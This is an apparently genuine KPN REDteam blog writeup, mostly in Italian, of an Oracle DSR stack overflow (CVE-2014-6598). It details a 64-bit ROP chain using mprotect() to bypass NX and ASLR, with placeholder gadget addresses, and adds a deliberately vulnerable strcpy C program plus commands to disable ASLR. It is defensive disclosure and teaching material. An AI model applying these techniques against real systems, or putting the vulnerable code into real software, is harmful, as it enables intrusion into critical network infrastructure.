
Writeup della vulnerabilità di stack buffer overflow di Oracle DSR (DRA) CVE-2014-6598
KPN è un operatore di telecomunicazioni con sede nei Paesi Bassi. Il CISO REDteam è stato introdotto nel 2013 ed è il team di ethical hacking di KPN. Questo team è coinvolto nei test di sicurezza delle applicazioni e dei servizi KPN per garantire che i dati dei nostri clienti siano al sicuro da accessi non autorizzati, modifiche e perdita di dati.
KPN gestisce la più grande rete mobile nei Paesi Bassi. Uno dei componenti della rete 4G gestita da KPN è l'applicazione Diameter Routing Agent denominata Oracle Diameter Signalling Router (DSR). Il Diameter Routing Agent (DRA) è un elemento funzionale in una rete 3G o 4G che fornisce capacità di instradamento in tempo reale per garantire che i messaggi vengano instradati tra gli elementi corretti di una rete. Il 3GPP ha introdotto il DRA per gestire il volume crescente del traffico di segnalazione Diameter e la crescente complessità delle reti 4G LTE. Può essere distribuito sia come router core che instrada il traffico tra gli elementi Diameter nella rete domestica, sia come router gateway che instrada il traffico tra gli elementi Diameter nella rete domestica e in roaming. Il 3GPP specifica l'uso del protocollo Diameter per diverse interfacce, inclusa una (S6a) utilizzata per la comunicazione MME-HSS e per il roaming.
L'immagine seguente mostra una tipica implementazione del DRA in un ambiente LTE. Tutte le interfacce tra gli elementi sono interfacce S6a.

Oracle DSR è un cluster di macchine che esegue CentOS Linux e svolge la funzione DRA. Di solito è connesso a diversi MME e a un HSS nella rete LTE domestica, ma potrebbe anche essere connesso a partner di roaming tramite la rete IPX.
Utilizzando la piattaforma Codenomicon DEFENSICS, il KPN REDteam ha scoperto due gravi vulnerabilità nell'applicazione Oracle DSR versione 5.0:
dsr.La prima vulnerabilità consente a un attaccante remoto non autenticato connesso alla rete IPX di compromettere completamente il DRA e i suoi componenti. Quando un attaccante ottiene il pieno controllo del sistema DRA, è in grado di monitorare tutto il traffico instradato attraverso il DRA e possibilmente di infiltrarsi ulteriormente nella rete core dell'operatore di telecomunicazioni.
Oracle ha preso seriamente le vulnerabilità segnalate e il KPN REDteam ha collaborato strettamente con Oracle per risolvere questi problemi, come dichiarato anche nel loro avviso ai clienti:
"I recenti test di sicurezza hanno identificato due vulnerabilità di sicurezza nelle versioni del prodotto Oracle Diameter Signaling Router. Per proteggere la rete da potenziali exploit di queste vulnerabilità, Oracle raccomanda vivamente di applicare senza indugio le azioni descritte nel presente documento. Oracle riconosce a Frank Cozijnsen, Ethical Hacker, KPN CISO REDteam, la scoperta della vulnerabilità Diameter Stack descritta di seguito. Un ringraziamento speciale va a KPN per il supporto fornito durante la fase di analisi di Oracle. Nota: questi risultati saranno divulgati pubblicamente con il prossimo CPU di Oracle previsto per il 20 gennaio 2015."
I problemi riscontrati rappresentano una seria minaccia per gli operatori di telecomunicazioni che utilizzano il DSR di Oracle e potrebbero essere sfruttati da qualsiasi attaccante con accesso a una connessione IPX.
Il KPN REDteam testa prodotti e servizi prima che vengano distribuiti in reti di produzione. Nell'ambito di un progetto di aggiornamento, il KPN REDteam ha testato Oracle DSR versione 5.0 dal punto di vista della sicurezza. Il test di sicurezza includeva il fuzzing dell'implementazione DIAMETER di Oracle DSR utilizzando la Codenomicon Diameter Server test Suite. Come primo obiettivo di fuzzing è stato utilizzato il messaggio Capabilities Exchange Request (CER), che viene usato per verificare le capacità DIAMETER del server ricevente. Questo messaggio è stato scelto perché non viene inoltrato ad altri sistemi come l'HSS, ma viene gestito dal DSR stesso. Durante il fuzzing, sono stati notati diversi crash del processo "dsr" sulle blade Message Processor (MP) del DSR.
Utilizzando GDB con il plugin PEDA, il crash è stato analizzato e alla fine è stato scritto un exploit remoto. Il crash è stato causato da una scrittura fuori dai limiti oltre la fine del buffer situato sullo stack. La scrittura fuori dai limiti ha corrotto lo stack con dati controllati dall'utente. Anche il puntatore di ritorno salvato, cioè l'indirizzo al quale il programma ritorna dopo l'uscita da una funzione, è stato sovrascritto. Quando questo puntatore di ritorno può essere controllato dall'attaccante, può portare all'esecuzione di codice arbitrario.

Il motivo principale di questo blog è spiegare come il KPN REDteam sia riuscito a superare le protezioni ASLR e NX presenti e a creare un exploit funzionante di esecuzione remota di codice. Normalmente i meccanismi di protezione ASLR e NX non rappresentano un grande ostacolo per gli attaccanti, ma il DSR gira su CentOS a 64 bit. Non esiste molta documentazione pratica sulla programmazione orientata al ritorno (ROP) su sistemi Linux a 64 bit protetti da ASLR.
Durante il debug si è notato che la libreria libc era sempre mappata allo stesso indirizzo nel processo dsr e che l'indirizzo non cambiava dopo un riavvio. Altre librerie erano mappate a indirizzi di memoria casuali nel processo dsr. Conoscere l'indirizzo di memoria di libc consente di utilizzare libc come fonte per i gadget ROP. Un'altra opzione è usare il binario dsr stesso come fonte di gadget ROP, ma la quantità di gadget utili in quel file è limitata.
Per bypassare la protezione NX si potrebbe usare la funzione mprotect() per rendere eseguibile lo stack e poter eseguire il nostro shellcode.
La funzione mprotect() richiede i seguenti valori nei registri corrispondenti:
Se tutti questi registri sono impostati, mprotect() può essere chiamato all'offset 0xe54b0 nella versione target della libreria libc.
La parte seguente del documento presuppone la conoscenza della ROP e del suo funzionamento. Su shell-storm.org c'è un buon esempio di creazione di una catena ROP su un sistema Linux a 32 bit. A causa dell'ASLR "parziale", la posizione dello stack stesso non era prevedibile. Sono stati utilizzati gadget ROP per memorizzare il valore del puntatore allo stack (%RSP) nel registro %RSI.
Il registro %RDI deve contenere l'offset di memoria della regione di memoria che deve essere resa eseguibile.
Il puntatore allo stack può essere utilizzato per determinare questo indirizzo di memoria e deve essere impostato su un confine di pagina di memoria. L'istruzione XOR può essere usata per azzerare gli ultimi 4 byte di questo indirizzo in modo da allinearlo a un confine di pagina. Era disponibile solo un gadget per farlo sul registro %RAX, quindi il primo passo è portare il valore del puntatore allo stack nel registro %RAX.
Il KPN REDteam non vuole ancora divulgare troppe informazioni sull'exploit effettivo, quindi gli indirizzi usati di seguito sono fittizi. Tuttavia danno un'idea della sequenza in cui le istruzioni devono essere eseguite.
Innanzitutto il puntatore allo stack viene memorizzato in un registro. Il registro %RSI è stato scelto perché non ci sono gadget disponibili nel binario libc per memorizzare il valore direttamente nel registro %RAX.
The following ROP gadgets were used:
- 0x00000039c1111111 : pop rcx ; ret
- 0x00000039c2222222 : pop rdx ; pop rsi ; ret
- 0x00000039c3333333 : push rsp ; and al, 8 ; call rcx
- 0x00000039c4444444 : mov rax, rsi ; ret
Before the overflow the registers look like this:
%RAX 0x1e40
%RCX 0x3ad
%RDX 0x0
%RSI 0x0
%RDI 0x49b8970
%RSP 0x7fdb97abaaaa
The first objective is to get the value in %RSP to %RSI.
This results in the following first section of the payload:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
La prima istruzione eseguita è "pop rcx", che carica 0x00000039c2222222 nel registro %RCX. L'istruzione pop sposta inoltre il puntatore allo stack nel punto in cui è memorizzato 0x00000039c3333333. Questo sarà l'indirizzo del prossimo gadget ROP: "push rsp ; and al, 8 ; call rcx". L'istruzione push rsp inserisce il puntatore allo stack nello stack e successivamente viene chiamato l'indirizzo precedentemente memorizzato nel registro %RCX. Questo carica due valori dallo stack rispettivamente nei registri %RDX e %RSI e ritorna all'indirizzo 0x00000039c4444444. Il registro %RSI ora contiene il puntatore allo stack precedentemente memorizzato. Il gadget ROP situato all'indirizzo 0x00000039c4444444 copia il valore memorizzato in %RSI in %RAX.
Il puntatore al nostro stack nel registro %RAX può ora essere usato per modificare i permessi della mappa di memoria sullo stack. Per azzerare gli ultimi 4 byte utilizziamo un'istruzione XOR che agisce solo sugli ultimi 4 byte del registro %RAX:
Current values of the registers:
%RAX 0x7fdb97abaaaa
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
XOR the last 4 bytes of %RAX
0x00000039c6666666 : xor ax, ax ; ret
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x7fdb97abaab2
%RSI 0x7fdb97abaaaa
%RDI 0x49b8970
Il passo successivo è inserire il valore da %RAX in %RDI:
The following ROP gadgets are used:
- 0x00000039c6666666 : pop rdx ; ret
- 0x00000039c7777777 : xor al, 0x41 ; pop rdi ; ret
- 0x00000039c8888888 : push rax ; and bh, al ; jmp rdx
The way these instructions interact with each other is similar to the previously explained instructions.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
This results in the following register content:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7fdb97abaaaa
%RDI 0x7fdb97ab0000
Il registro %RDI ora contiene un offset di memoria sullo stack allineato a un confine di pagina.
Il registro %RSI deve contenere la dimensione della regione di memoria da modificare.
Questo è facile: basta mettere la dimensione in %RSI.
Only one gadget is used, together with the size.
- 0x00000039c9999999 : pop rsi ; ret
The size (0xf0000) will be popped from the stack and therefore it has to be added to the payload.
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0xf0000
%RDI 0x7fdb97ab0000
Il registro %RDX deve contenere il bit dei permessi, nel nostro caso 0x7 -> permessi rwx.
Questo passo è simile al precedente. Il valore verrà estratto dallo stack con pop:
Only one gadget is used, together with the permissions setting.
- 0x00000039caaaaaaa: pop rdx ; ret
The permissions value is 0x7 (read, write and execute permissions)
The payload now looks like this:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
The registers now contain:
%RAX 0x7fdb97ab0000
%RCX 0x00000039c2222222
%RDX 0x00000039c7777777
%RSI 0x7
%RDI 0x7fdb97ab0000
Tutti i registri ora hanno il valore corretto per rendere eseguibile questa parte dello stack.
Chiamare mprotect()
L'indirizzo dell'istruzione mprotect() deve essere incluso nel payload. Per questo esempio libc è caricata all'indirizzo 0x0000003888c00000, quindi il payload che renderà eseguibile lo stack appare così:
[NOP x size][0x00000039c1111111][0x00000039c2222222][0x00000039c3333333][0x00000039c4444444]
[0x00000039c5555555][0x00000039c6666666][0x00000039c7777777][0x00000039c8888888]
[0x00000039c9999999][0x00000000000f0000][0x00000039caaaaaaa][0x0000000000000007]
[0x0000003888ce54b0]
Questo è tutto. Per completare l'exploit devi ancora assicurarti che il tuo instruction pointer punti al tuo shellcode, ma dopo la spiegazione fornita è facile.
Costruire una catena ROP e testare come funzionano le cose può essere fatto facilmente su una macchina Linux a 64 bit. Per provare tu stesso, potresti scrivere un programma C vulnerabile:
#include <string.h>
#include <stdio.h>
void print_name(char *Buffer)
{
char name[64];
strcpy(name,Buffer);
printf("Hi, %s!\n", Buffer);
}
int main (int argc, char **argv)
{
print_name(argv[1]);
}
Compila questo programma senza lo Stack Smashing Protection (SSP)
$ gcc -fno-stack-protector -o exploitme exploitme.c
Per il test, assicurati di disabilitare temporaneamente l'ASLR:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Ora avvia il tuo GDB e inizia a fare hacking..
In GDB, esegui questo file usando il seguente argomento:
run `perl -e'print "\x41" x500'`
Il plugin PEDA per GDB rende la vita molto più facile e aiuterà a trovare i tuoi gadget ROP.